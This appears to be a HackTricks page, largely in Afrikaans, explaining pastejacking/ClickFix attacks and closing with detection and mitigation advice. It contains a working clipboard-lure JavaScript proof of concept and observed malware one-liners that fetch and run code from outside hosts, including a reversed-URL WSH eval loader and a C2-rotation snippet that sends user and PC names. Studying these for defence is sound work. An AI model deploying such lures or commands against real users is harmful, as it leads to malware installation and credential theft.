8.1 KiB
Clipboard Hijacking (Pastejacking) Attacks
{{#include ../../banners/hacktricks-training.md}}
"Moet nooit iets plak wat jy nie self gekopieer het nie." – ou maar steeds geldende advies
Oorsig
Clipboard hijacking – also known as pastejacking – misbruik die feit dat gebruikers gewoonlik opdragte kopieer-en-plak sonder om dit te inspekteer. 'n Kwaadaardige webblad (of enige JavaScript-ondersteunende konteks soos 'n Electron- of Desktop-toepassing) plaas programmaties deur 'n aanvaller beheerde teks in die stelselklembord. Slagoffers word gewoonlik aangemoedig, meestal deur sorgvuldig saamgestelde social-engineering-instruksies, om Win + R (Run dialog), Win + X (Quick Access / PowerShell) te druk, of 'n terminal te open en die klembordinhoud plak, wat dadelik willekeurige opdragte uitvoer.
Omdat geen lêer afgelaai word en geen aanhangsel oopgemaak word nie, omseil die tegniek die meeste e-pos- en webinhoud-sekuriteitskontroles wat aanhangsels, macros of direkte opdraguitvoering monitor. Die aanval is daarom populêr in phishing-veldtogte wat alledaagse malware-families soos NetSupport RAT, Latrodectus loader of Lumma Stealer lewer.
JavaScript Bewys-van-Konsep
<!-- Any user interaction (click) is enough to grant clipboard write permission in modern browsers -->
<button id="fix" onclick="copyPayload()">Fix the error</button>
<script>
function copyPayload() {
const payload = `powershell -nop -w hidden -enc <BASE64-PS1>`; // hidden PowerShell one-liner
navigator.clipboard.writeText(payload)
.then(() => alert('Now press Win+R , paste and hit Enter to fix the problem.'));
}
</script>
Ouer veldtogte het document.execCommand('copy')
gebruik, nuwer vertrou op die asynchrone Clipboard API (navigator.clipboard.writeText
).
Die ClickFix / ClearFake-proses
- Gebruiker besoek 'n typosquatted of compromised site (bv.
docusign.sa[.]com
) - Ingespuite ClearFake JavaScript roep 'n
unsecuredCopyToClipboard()
helper aan wat stilweg 'n Base64-encoded PowerShell one-liner in die klembord stoor. - HTML-instruksies vertel die slagoffer om: “Druk Win + R, plak die opdrag en druk Enter om die probleem op te los.”
powershell.exe
voer uit en laai 'n argief af wat 'n wettige uitvoerbare lêer plus 'n kwaadwillige DLL bevat (klassieke DLL sideloading).- Die loader decrypts additional stages, injects shellcode and installs persistence (e.g. scheduled task) – uiteindelik running NetSupport RAT / Latrodectus / Lumma Stealer.
Voorbeeld NetSupport RAT Chain
powershell -nop -w hidden -enc <Base64>
# ↓ Decodes to:
Invoke-WebRequest -Uri https://evil.site/f.zip -OutFile %TEMP%\f.zip ;
Expand-Archive %TEMP%\f.zip -DestinationPath %TEMP%\f ;
%TEMP%\f\jp2launcher.exe # Sideloads msvcp140.dll
jp2launcher.exe
(wettige Java WebStart) soek sy gids virmsvcp140.dll
.- Die kwaadwillige DLL los dinamies API's op met GetProcAddress, laai twee binaries (
data_3.bin
,data_4.bin
) af via curl.exe, dekripteer hulle met 'n rollende XOR-sleutel"https://google.com/"
, injekteer die finale shellcode en pak client32.exe (NetSupport RAT) uit naC:\ProgramData\SecurityCheck_v1\
.
Latrodectus Loader
powershell -nop -enc <Base64> # Cloud Identificator: 2031
- Laai
la.txt
af met curl.exe - Voer die JScript downloader binne cscript.exe uit
- Haal 'n MSI payload af → plaas
libcef.dll
langs 'n gesigneerde toepassing → DLL sideloading → shellcode → Latrodectus.
Lumma Stealer via MSHTA
mshta https://iplogger.co/xxxx =+\\xxx
Die mshta-aanroep lanseer 'n verborge PowerShell-skrip wat PartyContinued.exe
aflaai, Boat.pst
(CAB) uitpak, AutoIt3.exe
herbou deur extrac32
en lêerkonkatenasie, en uiteindelik 'n .a3x
-skrip uitvoer wat browser credentials na sumeriavgv.digital
exfiltrates.
ClickFix: Clipboard → PowerShell → JS eval → Startup LNK with rotating C2 (PureHVNC)
Sommige ClickFix-campagnes slaan lêeraflaaie heeltemal oor en beveel slagoffers aan om 'n eenreël-opdrag te plak wat JavaScript via WSH aflaai en uitvoer, dit laat voortbestaan, en die C2 daagliks roteer. Voorbeeld van 'n waargenome ketting:
powershell -c "$j=$env:TEMP+'\a.js';sc $j 'a=new
ActiveXObject(\"MSXML2.XMLHTTP\");a.open(\"GET\",\"63381ba/kcilc.ellrafdlucolc//:sptth\".split(\"\").reverse().join(\"\"),0);a.send();eval(a.responseText);';wscript $j" Prеss Entеr
Belangrike kenmerke
- Verdoezelde URL omgekeer tydens runtime om oppervlakkige inspeksie te ontduik.
- JavaScript maak homself persistent via Startup LNK (WScript/CScript), en kies die C2 volgens die huidige dag – wat vinnige domeinrotasie moontlik maak.
Minimale JS-fragment wat gebruik word om C2s volgens datum te roteer:
function getURL() {
var C2_domain_list = ['stathub.quest','stategiq.quest','mktblend.monster','dsgnfwd.xyz','dndhub.xyz'];
var current_datetime = new Date().getTime();
var no_days = getDaysDiff(0, current_datetime);
return 'https://'
+ getListElement(C2_domain_list, no_days)
+ '/Y/?t=' + current_datetime
+ '&v=5&p=' + encodeURIComponent(user_name + '_' + pc_name + '_' + first_infection_datetime);
}
Die volgende fase ontplooi gewoonlik 'n loader wat persistensie vestig en 'n RAT (e.g., PureHVNC) aflaai, dikwels pinning TLS to a hardcoded certificate and chunking traffic.
Detection ideas specific to this variant
- Prosesboom:
explorer.exe
→powershell.exe -c
→wscript.exe <temp>\a.js
(orcscript.exe
). - Opstart-artefakte: LNK in
%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup
wat WScript/CScript aanroep met 'n JS-pad onder%TEMP%
/%APPDATA%
. - Registry/RunMRU en command‑line telemetrie wat
.split('').reverse().join('')
ofeval(a.responseText)
bevat. - Herhaalde
powershell -NoProfile -NonInteractive -Command -
met groot stdin payloads om lang skripte te voer sonder lang opdragreëls. - Geskeduleerde take wat daarna LOLBins uitvoer soos
regsvr32 /s /i:--type=renderer "%APPDATA%\Microsoft\SystemCertificates\<name>.dll"
onder 'n updater‑agtige taak/pad (bv.\GoogleSystem\GoogleUpdater
).
Threat hunting
- Daagliks roterende C2-hostname(s) en URL's met die patroon
.../Y/?t=<epoch>&v=5&p=<encoded_user_pc_firstinfection>
. - Korreleer clipboard write events gevolg deur Win+R-plak en dan onmiddellike
powershell.exe
uitvoering.
Blue-teams can combine clipboard, process-creation and registry telemetry to pinpoint pastejacking abuse:
- Windows Registry:
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
hou 'n geskiedenis van Win + R opdragte – kyk vir abnormale Base64 / obfuscated inskrywings. - Security Event ID 4688 (Process Creation) waar
ParentImage
==explorer.exe
enNewProcessName
in {powershell.exe
,wscript.exe
,mshta.exe
,curl.exe
,cmd.exe
}. - Event ID 4663 vir lêerskeppings onder
%LocalAppData%\Microsoft\Windows\WinX\
of tydelike vouers net voor die verdagte 4688‑gebeurtenis. - EDR clipboard sensors (indien teenwoordig) – korreleer
Clipboard Write
gevolg onmiddellik deur 'n nuwe PowerShell‑proses.
Mitigations
- Browser hardening – disable clipboard write-access (
dom.events.asyncClipboard.clipboardItem
etc.) of vereis 'n gebruikergebaar. - Security awareness – leer gebruikers om type sensitiewe opdragte of eers in 'n teksredigeerder te plak.
- PowerShell Constrained Language Mode / Execution Policy + Application Control om willekeurige one-liners te blokkeer.
- Network controls – blokkeer uitgaande versoeke na bekende pastejacking en malware C2‑domeine.
Related Tricks
- Discord Invite Hijacking often abuses the same ClickFix approach after luring users into a malicious server:
{{#ref}} discord-invite-hijacking.md {{#endref}}
Verwysings
- Fix the Click: Preventing the ClickFix Attack Vector
- Pastejacking PoC – GitHub
- Check Point Research – Under the Pure Curtain: From RAT to Builder to Coder
{{#include ../../banners/hacktricks-training.md}}